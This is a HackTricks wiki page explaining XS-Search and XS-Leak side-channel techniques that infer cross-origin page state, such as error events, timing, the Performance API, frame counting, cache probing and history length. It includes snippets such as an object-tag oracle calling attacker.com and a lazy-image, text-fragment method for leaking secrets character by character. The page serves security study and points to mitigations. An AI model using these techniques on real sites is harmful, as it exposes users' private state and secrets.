Search K
Appearance
Appearance
Use Trickest to easily build and automate workflows powered by the world's most advanced community tools.
Get Access Today:
Other ways to support HackTricks:
XS-Search is a method used for extracting cross-origin information by leveraging side channel vulnerabilities.
Key components involved in this attack include:
Several aspects can be analyzed to differentiate the states of the Vulnerable Web:
window.open
method opens a resource in a new tab or window, providing a window handle for JavaScript to interact with methods and properties following the SOP. Pop-ups, often used in single sign-on, circumvent framing and cookie restrictions of a target resource. However, modern browsers restrict pop-up creation to certain user actions.window.frame.length
property allows JavaScript to count the frames included in a webpage cross-origin.XSinator is an automatic tool to check browsers against several know XS-Leaks explained in its paper: https://xsinator.com/paper.pdf
You can access the tool in https://xsinator.com/
โ ๏ธ
Excluded XS-Leaks: We had to exclude XS-Leaks that rely on service workers as they would interfere with other leaks in XSinator. Furthermore, we chose to exclude XS-Leaks that rely on misconfiguration and bugs in a specific web application. For example, CrossOrigin Resource Sharing (CORS) misconfigurations, postMessage leakage or Cross-Site Scripting. Additionally, we excluded timebased XS-Leaks since they often suffer from being slow, noisy and inaccurate.
Use Trickest to easily build and automate workflows powered by the world's most advanced community tools.
Get Access Today:
Some of the following techniques are going to use timing to as part of the process to detect differences in the possible states of the web pages. There are different ways to measure time in a web browser.
Clocks: The performance.now() API allows developers to get high-resolution timing measurements.
There are a considerable number of APIs attackers can abuse to create implicit clocks: Broadcast Channel API, Message Channel API, requestAnimationFrame, setTimeout, CSS animations, and others.
For more info: https://xsleaks.dev/docs/attacks/timing-attacks/clocks.
The code example try lo load scripts objects from JS, but other tags such as objects, stylesheets, images, audios could be also used. Moreover, it's also possible to inject the tag directly and declare the onload
and onerror
events inside the tag (instead of injecting it from JS).
There is also a script-less version of this attack:
<object data="//example.com/404">
<object data="//attacker.com/?error"></object>
</object>
In this case if example.com/404
is not found attacker.com/?error
will be loaded.
This technique is just like the previous one, but the attacker will also force some action to take a relevant amount time when the answer is positive or negative and measure that time.
The time taken to fetch a resource can be measured by utilizing the unload
and beforeunload
events. The beforeunload
event is fired when the browser is about to navigate to a new page, while the unload
event occurs when the navigation is actually taking place. The time difference between these two events can be calculated to determine the duration the browser spent fetching the resource.
It has been observed that in the absence of Framing Protections, the time required for a page and its subresources to load over the network can be measured by an attacker. This measurement is typically possible because the onload
handler of an iframe is triggered only after the completion of resource loading and JavaScript execution. To bypass the variability introduced by script execution, an attacker might employ the sandbox
attribute within the <iframe>
. The inclusion of this attribute restricts numerous functionalities, notably the execution of JavaScript, thereby facilitating a measurement that is predominantly influenced by network performance.
// Example of an iframe with the sandbox attribute
<iframe src="example.html" sandbox></iframe>
Suppose that you can insert the page that has the secret content inside an Iframe.
You can make the victim search for the file that contains "flag" using an Iframe (exploiting a CSRF for example). Inside the Iframe you know that the onload event will be executed always at least once. Then, you can change the URL of the iframe but changing only the content of the hash inside the URL.
For example:
If the first URL was successfully loaded, then, when changing the hash part of the URL the onload event won't be triggered again. But if the page had some kind of error when loading, then, the onload event will be triggered again.
Then, you can distinguish between a correctly loaded page or page that has an error when is accessed.
<script>
tags, so in negative cases attackers code is executed, and in affirmative cases nothing will be executed.Content-Type
with nosniff
and a 2xx
status code, CORB strips the response's body and headers. Attackers observing this can infer the combination of the status code (indicating success or error) and the Content-Type
(denoting whether it's protected by CORB), leading to potential information leakage.Check the more information link for more information about the attack.
It's possible to load a page inside an iframe and use the #id_value
to make the page focus on the element of the iframe with indicated if, then if an onblur
signal is triggered, the ID element exists.
You can perform the same attack with portal
tags.
Any code listening for all postMessages.
Applications frequently utilize postMessage
broadcasts to communicate across different origins. However, this method can inadvertently expose sensitive information if the targetOrigin
parameter is not properly specified, allowing any window to receive the messages. Furthermore, the mere act of receiving a message can act as an oracle; for instance, certain messages might only be sent to users who are logged in. Therefore, the presence or absence of these messages can reveal information about the user's state or identity, such as whether they are authenticated or not.
Use Trickest to easily build and automate workflows powered by the world's most advanced community tools.
Get Access Today:
It is possible to identify if, and how many, WebSocket connections a target page uses. It allows an attacker to detect application states and leak information tied to the number of WebSocket connections.
If one origin uses the maximum amount of WebSocket connection objects, regardless of their connections state, the creation of new objects will result in JavaScript exceptions. To execute this attack, the attacker website opens the target website in a pop-up or iframe and then, after the target web has been loaded, attempts to create the maximum number of WebSockets connections possible. The number of thrown exceptions is the number of WebSocket connections used by the target website window.
This XS-Leak enables an attacker to detect when a cross-origin page initiates a payment request.
Because only one request payment can be active at the same time, if the target website is using the Payment Request API, any further attempts to show use this API will fail, and cause a JavaScript exception. The attacker can exploit this by periodically attempting to show the Payment API UI. If one attempt causes an exception, the target website is currently using it. The attacker can hide these periodical attempts by immediately closing the UI after creation.
JavaScript operates on a single-threaded event loop concurrency model, signifying that it can only execute one task at a time. This characteristic can be exploited to gauge how long code from a different origin takes to execute. An attacker can measure the execution time of their own code in the event loop by continuously dispatching events with fixed properties. These events will be processed when the event pool is empty. If other origins are also dispatching events to the same pool, an attacker can infer the time it takes for these external events to execute by observing delays in the execution of their own tasks. This method of monitoring the event loop for delays can reveal the execution time of code from different origins, potentially exposing sensitive information.
โ ๏ธ
In an execution timing it's possible to eliminate network factors to obtain more precise measurements. For example, by loading the resources used by the page before loading it.
A significant advantage of the technique of measuring execution time by locking the event loop is its potential to circumvent Site Isolation. Site Isolation is a security feature that separates different websites into separate processes, aiming to prevent malicious sites from directly accessing sensitive data from other sites. However, by influencing the execution timing of another origin through the shared event loop, an attacker can indirectly extract information about that origin's activities. This method does not rely on direct access to the other origin's data but rather observes the impact of that origin's activities on the shared event loop, thus evading the protective barriers established by Site Isolation.
โ ๏ธ
In an execution timing it's possible to eliminate network factors to obtain more precise measurements. For example, by loading the resources used by the page before loading it.
Browsers utilize sockets for server communication, but due to the limited resources of the operating system and hardware, browsers are compelled to impose a limit on the number of concurrent sockets. Attackers can exploit this limitation through the following steps:
For more info: https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/
The Performance API
offers insights into the performance metrics of web applications, further enriched by the Resource Timing API
. The Resource Timing API enables the monitoring of detailed network request timings, such as the duration of the requests. Notably, when servers include the Timing-Allow-Origin: *
header in their responses, additional data like the transfer size and domain lookup time becomes available.
This wealth of data can be retrieved via methods like performance.getEntries
or performance.getEntriesByName
, providing a comprehensive view of performance-related information. Additionally, the API facilitates the measurement of execution times by calculating the difference between timestamps obtained from performance.now()
. However, it's worth noting that for certain operations in browsers like Chrome, the precision of performance.now()
may be limited to milliseconds, which could affect the granularity of timing measurements.
Beyond timing measurements, the Performance API can be leveraged for security-related insights. For instance, the presence or absence of pages in the performance
object in Chrome can indicate the application of X-Frame-Options
. Specifically, if a page is blocked from rendering in a frame due to X-Frame-Options
, it will not be recorded in the performance
object, providing a subtle clue about the page's framing policies.
It is possible to differentiate between HTTP response status codes because requests that lead to an error do not create a performance entry.
In the previous technique it was also identified two cases where browser bugs in GC lead to resources being loaded twice when they fail to load. This will result in multiple entries in the Performance API and can thus be detected.
The technique was found in a table in the mentioned paper but no description of the technique was found on it. However, you can find the source code checking for it in https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak
An attacker can detect if a request resulted in an empty HTTP response body because empty pages do not create a performance entry in some browsers.
In Security Assertions (SA), the XSS Auditor, originally intended to prevent Cross-Site Scripting (XSS) attacks, can paradoxically be exploited to leak sensitive information. Although this built-in feature was removed from Google Chrome (GC), it's still present in SA. In 2013, Braun and Heiderich demonstrated that the XSS Auditor could inadvertently block legitimate scripts, leading to false positives. Building on this, researchers developed techniques to extract information and detect specific content on cross-origin pages, a concept known as XS-Leaks, initially reported by Terada and elaborated by Heyes in a blog post. Although these techniques were specific to the XSS Auditor in GC, it was discovered that in SA, pages blocked by the XSS Auditor do not generate entries in the Performance API, revealing a method through which sensitive information might still be leaked.
If a page is not allowed to be rendered in an iframe it does not create a performance entry. As a result, an attacker can detect the response header X-Frame-Options
.
Same happens if you use an embed tag.
Similar, to the XS-Leak described, a resource that is downloaded because of the ContentDisposition header, also does not create a performance entry. This technique works in all major browsers.
We found one XS-Leak instance that abuses the behavior of some browsers which log too much information for cross-origin requests. The standard defines a subset of attributes that should be set to zero for cross-origin resources. However, in SA it is possible to detect if the user is redirected by the target page, by querying the Performance API and checking for the redirectStart timing data.
In GC, the duration for requests that result in a redirect is negative and can thus be distinguished from requests that do not result in a redirect.
In some cases, the nextHopProtocol entry can be used as a leak technique. In GC, when the CORP header is set, the nextHopProtocol will be empty. Note that SA will not create a performance entry at all for CORP-enabled resources.
Service workers are event-driven script contexts that run at an origin. They run in the background of a web page and can intercept, modify, and cache resources to create offline web application.
If a resource cached by a service worker is accessed via iframe, the resource will be loaded from the service worker cache.
To detect if the resource was loaded from the service worker cache the Performance API can be used.
This could also be done with a Timing attack (check the paper for more info).
Using the Performance API it's possible to check if a resource is cached.
performance
API.// Code saved here in case it dissapear from the link
// Based on MDN MediaError example: https://mdn.github.io/dom-examples/media/mediaerror/
window.addEventListener("load", startup, false);
function displayErrorMessage(msg) {
document.getElementById("log").innerHTML += msg;
}
function startup() {
let audioElement = document.getElementById("audio");
// "https://mdn.github.io/dom-examples/media/mediaerror/assets/good.mp3";
document.getElementById("startTest").addEventListener("click", function() {
audioElement.src = document.getElementById("testUrl").value;
}, false);
// Create the event handler
var errHandler = function() {
let err = this.error;
let message = err.message;
let status = "";
// Chrome error.message when the request loads successfully: "DEMUXER_ERROR_COULD_NOT_OPEN: FFmpegDemuxer: open context failed"
// Firefox error.message when the request loads successfully: "Failed to init decoder"
if((message.indexOf("DEMUXER_ERROR_COULD_NOT_OPEN") != -1) || (message.indexOf("Failed to init decoder") != -1)){
status = "Success";
}else{
status = "Error";
}
displayErrorMessage("<strong>Status: " + status + "</strong> (Error code:" + err.code + " / Error Message: " + err.message + ")<br>");
};
audioElement.onerror = errHandler;
}
The MediaError
interface's message property uniquely identifies resources that load successfully with a distinct string. An attacker can exploit this feature by observing the message content, thereby deducing the response status of a cross-origin resource.
This technique enables an attacker to extract the destination of a cross-origin site's redirect by exploiting how Webkit-based browsers handle CORS requests. Specifically, when a CORS-enabled request is sent to a target site that issues a redirect based on user state and the browser subsequently denies the request, the full URL of the redirect's target is disclosed within the error message. This vulnerability not only reveals the fact of the redirect but also exposes the redirect's endpoint and any sensitive query parameters it may contain.
An attacker can exploit verbose error messages to deduce the size of cross-origin responses. This is possible due to the mechanism of Subresource Integrity (SRI), which uses the integrity attribute to validate that resources fetched, often from CDNs, haven't been tampered with. For SRI to work on cross-origin resources, these must be CORS-enabled; otherwise, they're not subject to integrity checks. In Security Assertions (SA), much like the CORS error XS-Leak, an error message can be captured after a fetch request with an integrity attribute fails. Attackers can deliberately trigger this error by assigning a bogus hash value to the integrity attribute of any request. In SA, the resulting error message inadvertently reveals the content length of the requested resource. This information leakage allows an attacker to discern variations in response size, paving the way for sophisticated XS-Leak attacks.
A XS-Leak can use the CSP to detect if a cross-origin site was redirected to a different origin. This leak can detect the redirect, but additionally, the domain of the redirect target leaks. The basic idea of this attack is to allow the target domain on the attacker site. Once a request is issued to the target domain, it redirects to a cross-origin domain. CSP blocks the access to it and creates a violation report used as a leak technique. Depending on the browser, this report may leak the target location of the redirect.
Modern browsers won't indicate the URL it was redirected to, but you can still detect that a cross-origin redirect was triggered.
Browsers might use one shared cache for all websites. Regardless of their origin, it is possible to deduct whether a target page has requested a specific file.
If a page loads an image only if the user is logged in, you can invalidate the resource (so it's no longer cached if it was, see more info links), perform a request that could load that resource and try to load the resource with a bad request (e.g. using an overlong referer header). If the resource load didn't trigger any error, it's because it was cached.
A novel feature in Google Chrome (GC) allows web pages to propose a Content Security Policy (CSP) by setting an attribute on an iframe element, with policy directives transmitted along with the HTTP request. Normally, the embedded content must authorize this via an HTTP header, or an error page is displayed. However, if the iframe is already governed by a CSP and the newly proposed policy isn't more restrictive, the page will load normally. This mechanism opens a pathway for an attacker to detect specific CSP directives of a cross-origin page by identifying the error page. Although this vulnerability was marked as fixed, our findings reveal a new leak technique capable of detecting the error page, suggesting that the underlying problem was never fully addressed.
The CORP header is a relatively new web platform security feature that when set blocks no-cors cross-origin requests to the given resource. The presence of the header can be detected, because a resource protected with CORP will throw an error when fetched.
nosniff
header is present in the request.Check the link for more information about the attack.
Access-Control-Allow-Origin
it's possible to check if a resource is in the cache already.In case the Origin header is being reflected in the header Access-Control-Allow-Origin
an attacker can abuse this behaviour to try to fetch the resource in CORS mode. If an error isn't triggered, it means that it was correctly retrieved form the web, if an error is triggered, it's because it was accessed from the cache (the error appears because the cache saves a response with a CORS header allowing the original domain and not the attackers domain).
Note that if the origin isn't reflected but a wildcard is used (Access-Control-Allow-Origin: *
) this won't work.
Submitting a request using the Fetch API with redirect: "manual"
and other params, it's possible to read the response.type
attribute and if it's equals to opaqueredirect
then the response was a redirect.
An attacker is capable of deducing the presence of the Cross-Origin Opener Policy (COOP) header in a cross-origin HTTP response. COOP is utilized by web applications to hinder external sites from obtaining arbitrary window references. The visibility of this header can be discerned by attempting to access the contentWindow
reference. In scenarios where COOP is applied conditionally, the opener
property becomes a telltale indicator: it's undefined when COOP is active, and defined in its absence.
If a server-side redirect uses user input inside the redirection and extra data. It's possible to detect this behaviour because usually servers has a limit request length. If the user data is that length - 1, because the redirect is using that data and adding something extra, it will trigger an error detectable via Error Events.
If you can somehow set cookies to a user, you can also perform this attack by setting enough cookies (cookie bomb) so with the response increased size of the correct response an error is triggered. In this case, remember that is you trigger this request from a same site, <script>
will automatically send the cookies (so you can check for errors).
An example of the cookie bomb + XS-Search can be found in the Intended solution of this writeup: https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended
SameSite=None
or to be in the same context is usually needed for this type of attack.
According to Chromium documentation, Chrome's maximum URL length is 2MB.
In general, the web platform does not have limits on the length of URLs (although 2^31 is a common limit). Chrome limits URLs to a maximum length of 2MB for practical reasons and to avoid causing denial-of-service problems in inter-process communication.
Therefore if the redirect URL responded is larger in one of the cases, it's possible to make it redirect with a URL larger than 2MB to hit the length limit. When this happens, Chrome shows an about:blank#blocked
page.
The noticeable difference, is that if the redirect was completed, window.origin
throws an error because a cross origin cannot access that info. However, if the limit was **** hit and the loaded page was about:blank#blocked
the window's origin
remains that of the parent, which is an accessible information.
All the extra info needed to reach the 2MB can be added via a hash in the initial URL so it will be used in the redirect.
If the max number of redirects to follow of a browser is 20, an attacker could try to load his page with 19 redirects and finally send the victim to the tested page. If an error is triggered, then the page was trying to redirect the victim.
The History API allows JavaScript code to manipulate the browser history, which saves the pages visited by a user. An attacker can use the length property as an inclusion method: to detect JavaScript and HTML navigation.
Checking history.length
, making a user navigate to a page, change it back to the same-origin and checking the new value of history.length
.
An attacker could use JavaScript code to manipulate the frame/pop-up location to a guessed one and immediately change it to about:blank
. If the history length increased it means the URL was correct and it had time to increase because the URL isn't reloaded if it's the same. If it didn't increased it means it tried to load the guessed URL but because we immediately after loaded about:blank
, the history length did never increase when loading the guessed url.
async function debug(win, url) {
win.location = url + '#aaa';
win.location = 'about:blank';
await new Promise(r => setTimeout(r, 500));
return win.history.length;
}
win = window.open("https://example.com/?a=b");
await new Promise(r => setTimeout(r, 2000));
console.log(await debug(win, "https://example.com/?a=c"));
win.close();
win = window.open("https://example.com/?a=b");
await new Promise(r => setTimeout(r, 2000));
console.log(await debug(win, "https://example.com/?a=b"));
window.length
property.Counting the number of frames in a web opened via iframe
or window.open
might help to identify the status of the user over that page.
Moreover, if the page has always the same number of frames, checking continuously the number of frames might help to identify a pattern that might leak info.
An example of this technique is that in chrome, a PDF can be detected with frame counting because an embed
is used internally. There are Open URL Parameters that allow some control over the content such as zoom
, view
, page
, toolbar
where this technique could be interesting.
Information leakage through HTML elements is a concern in web security, particularly when dynamic media files are generated based on user information, or when watermarks are added, altering the media size. This can be exploited by attackers to differentiate between possible states by analyzing the information exposed by certain HTML elements.
duration
and buffered
times, which can be accessed via its API. Read more about HTMLMediaElementvideoHeight
and videoWidth
. In some browsers, additional properties like webkitVideoDecodedByteCount
, webkitAudioDecodedByteCount
, and webkitDecodedFrameCount
are available, offering more in-depth information about the media content. Read more about HTMLVideoElementtotalVideoFrames
, which can indicate the amount of video data processed. Read more about getVideoPlaybackQuality()height
and width
of an image. However, if an image is invalid, these properties will return 0, and the image.decode()
function will be rejected, indicating the failure to load the image properly. Read more about HTMLImageElementWeb applications may change website styling depending on the status of the use. Cross-origin CSS files can be embedded on the attacker page with the HTML link element, and the rules will be applied to the attacker page. If a page dynamically changes these rules, an attacker can detect these differences depending on the user state.
As a leak technique, the attacker can use the window.getComputedStyle
method to read CSS properties of a specific HTML element. As a result, an attacker can read arbitrary CSS properties if the affected element and property name is known.
:visited
style is applied to an URL indicating it was already visitedโน๏ธ
According to this, this is not working in headless Chrome.
The CSS :visited
selector is utilized to style URLs differently if they have been previously visited by the user. In the past, the getComputedStyle()
method could be employed to identify these style differences. However, modern browsers have implemented security measures to prevent this method from revealing the state of a link. These measures include always returning the computed style as if the link were visited and restricting the styles that can be applied with the :visited
selector.
Despite these restrictions, it's possible to discern the visited state of a link indirectly. One technique involves tricking the user into interacting with an area affected by CSS, specifically utilizing the mix-blend-mode
property. This property allows the blending of elements with their background, potentially revealing the visited state based on user interaction.
Furthermore, detection can be achieved without user interaction by exploiting the rendering timings of links. Since browsers may render visited and unvisited links differently, this can introduce a measurable time difference in rendering. A proof of concept (PoC) was mentioned in a Chromium bug report, demonstrating this technique using multiple links to amplify the timing difference, thereby making the visited state detectable through timing analysis.
For further details on these properties and methods, visit their documentation pages:
:visited
: MDN DocumentationgetComputedStyle()
: MDN Documentationmix-blend-mode
: MDN DocumentationIn Chrome, if a page with the X-Frame-Options
header set to "deny" or "same-origin" is embedded as an object, an error page appears. Chrome uniquely returns an empty document object (instead of null
) for the contentDocument
property of this object, unlike in iframes or other browsers. Attackers could exploit this by detecting the empty document, potentially revealing information about the user's state, especially if developers inconsistently set the X-Frame-Options header, often overlooking error pages. Awareness and consistent application of security headers are crucial for preventing such leaks.
The Content-Disposition
header, specifically Content-Disposition: attachment
, instructs the browser to download content rather than display it inline. This behavior can be exploited to detect whether a user has access to a page that triggers a file download. In Chromium-based browsers, there are a few techniques to detect this download behavior:
Content-Disposition: attachment
header, it does not cause a navigation event.window.open
instead of an iframe.In scenarios where only logged-in users can trigger such downloads, these techniques can be used to indirectly infer the user's authentication state based on the browser's response to the download request.
โ ๏ธ
This is why this technique is interesting: Chrome now has cache partitioning, and the cache key of the newly opened page is: (https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx)
, but if I open an ngrok page and use fetch in it, the cache key will be: (https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx)
, the cache key is different, so the cache cannot be shared. You can find more detail here: Gaining security and privacy by partitioning the cache
(Comment from here)
If a site example.com
includes a resource from *.example.com/resource
then that resource will have the same caching key as if the resource was directly requested through top-level navigation. That is because the caching key is consisted of top-level eTLD+1 and frame eTLD+1.
Because accessing the cache is faster than loading a resource, it's possible to try to change the location of a page and cancel it 20ms (for example) after. If the origin was changed after the stop, it means that the resource was cached.
Or could just send some fetch to the pontentially cached page and measure the time it takes.
Use fetch and setTimeout with an AbortController to both detect whether the resource is cached and to evict a specific resource from the browser cache. Moreover, the process occurs without caching new content.
In the given scenario, the attacker takes the initiative to register a service worker within one of their domains, specifically "attacker.com". Next, the attacker opens a new window in the target website from the main document and instructs the service worker to commence a timer. As the new window begins to load, the attacker navigates the reference obtained in the previous step to a page managed by the service worker.
Upon arrival of the request initiated in the preceding step, the service worker responds with a 204 (No Content) status code, effectively terminating the navigation process. At this point, the service worker captures a measurement from the timer initiated earlier in step two. This measurement is influenced by the duration of JavaScript causing delays in the navigation process.
โ ๏ธ
In an execution timing it's possible to eliminate network factors to obtain more precise measurements. For example, by loading the resources used by the page before loading it.
window.open
. Other clocks could be used.
Use Trickest to easily build and automate workflows powered by the world's most advanced community tools.
Get Access Today:
Here you can find techniques to exfiltrate information from a cross-origin HTML injecting HTML content. These techniques are interesting in cases where for any reason you can inject HTML but you cannot inject JS code.
If you need to exfiltrate content and you can add HTML previous to the secret you should check the common dangling markup techniques.
However, if for whatever reason you MUST do it char by char (maybe the communication is via a cache hit) you can use this trick.
Images in HTML has a "loading" attribute whose value can be "lazy". In that case, the image will be loaded when it's viewed and not while the page is loading:
<img src=/something loading=lazy >
Therefore, what you can do is to add a lot of junk chars (For example thousands of "W"s) to fill the web page before the secret or add something like <br><canvas height="1850px"></canvas><br>.
Then if for example our injection appear before the flag, the image would be loaded, but if appears after the flag, the flag + the junk will prevent it from being loaded (you will need to play with how much junk to place). This is what happened in this writeup.
Another option would be to use the scroll-to-text-fragment if allowed:
However, you make the bot access the page with something like
#:~:text=SECR
So the web page will be something like: https://victim.com/post.html#:~:text=SECR
Where post.html contains the attacker junk chars and lazy load image and then the secret of the bot is added.
What this text will do is to make the bot access any text in the page that contains the text SECR
. As that text is the secret and it's just below the image, the image will only load if the guessed secret is correct. So there you have your oracle to exfiltrate the secret char by char.
Some code example to exploit this: https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e
If it's not possible to load an external image that could indicate the attacker that the image was loaded, another option would be to try to guess the char several times and measure that. If the image is loaded all the requests would take longer that if the image isn't loaded. This is what was used in the solution of this writeup sumarized here:
If jQuery(location.hash)
is used, it's possible to find out via timing if some HTML content exists, this is because if the selector main[id='site-main']
doesn't match it doesn't need to check the rest of the selectors:
$("*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']")
There are mitigations recommended in https://xsinator.com/paper.pdf also in each section of the wiki https://xsleaks.dev/. Take a look there for more information about how to protect against these techniques.
Other ways to support HackTricks:
Use Trickest to easily build and automate workflows powered by the world's most advanced community tools.
Get Access Today: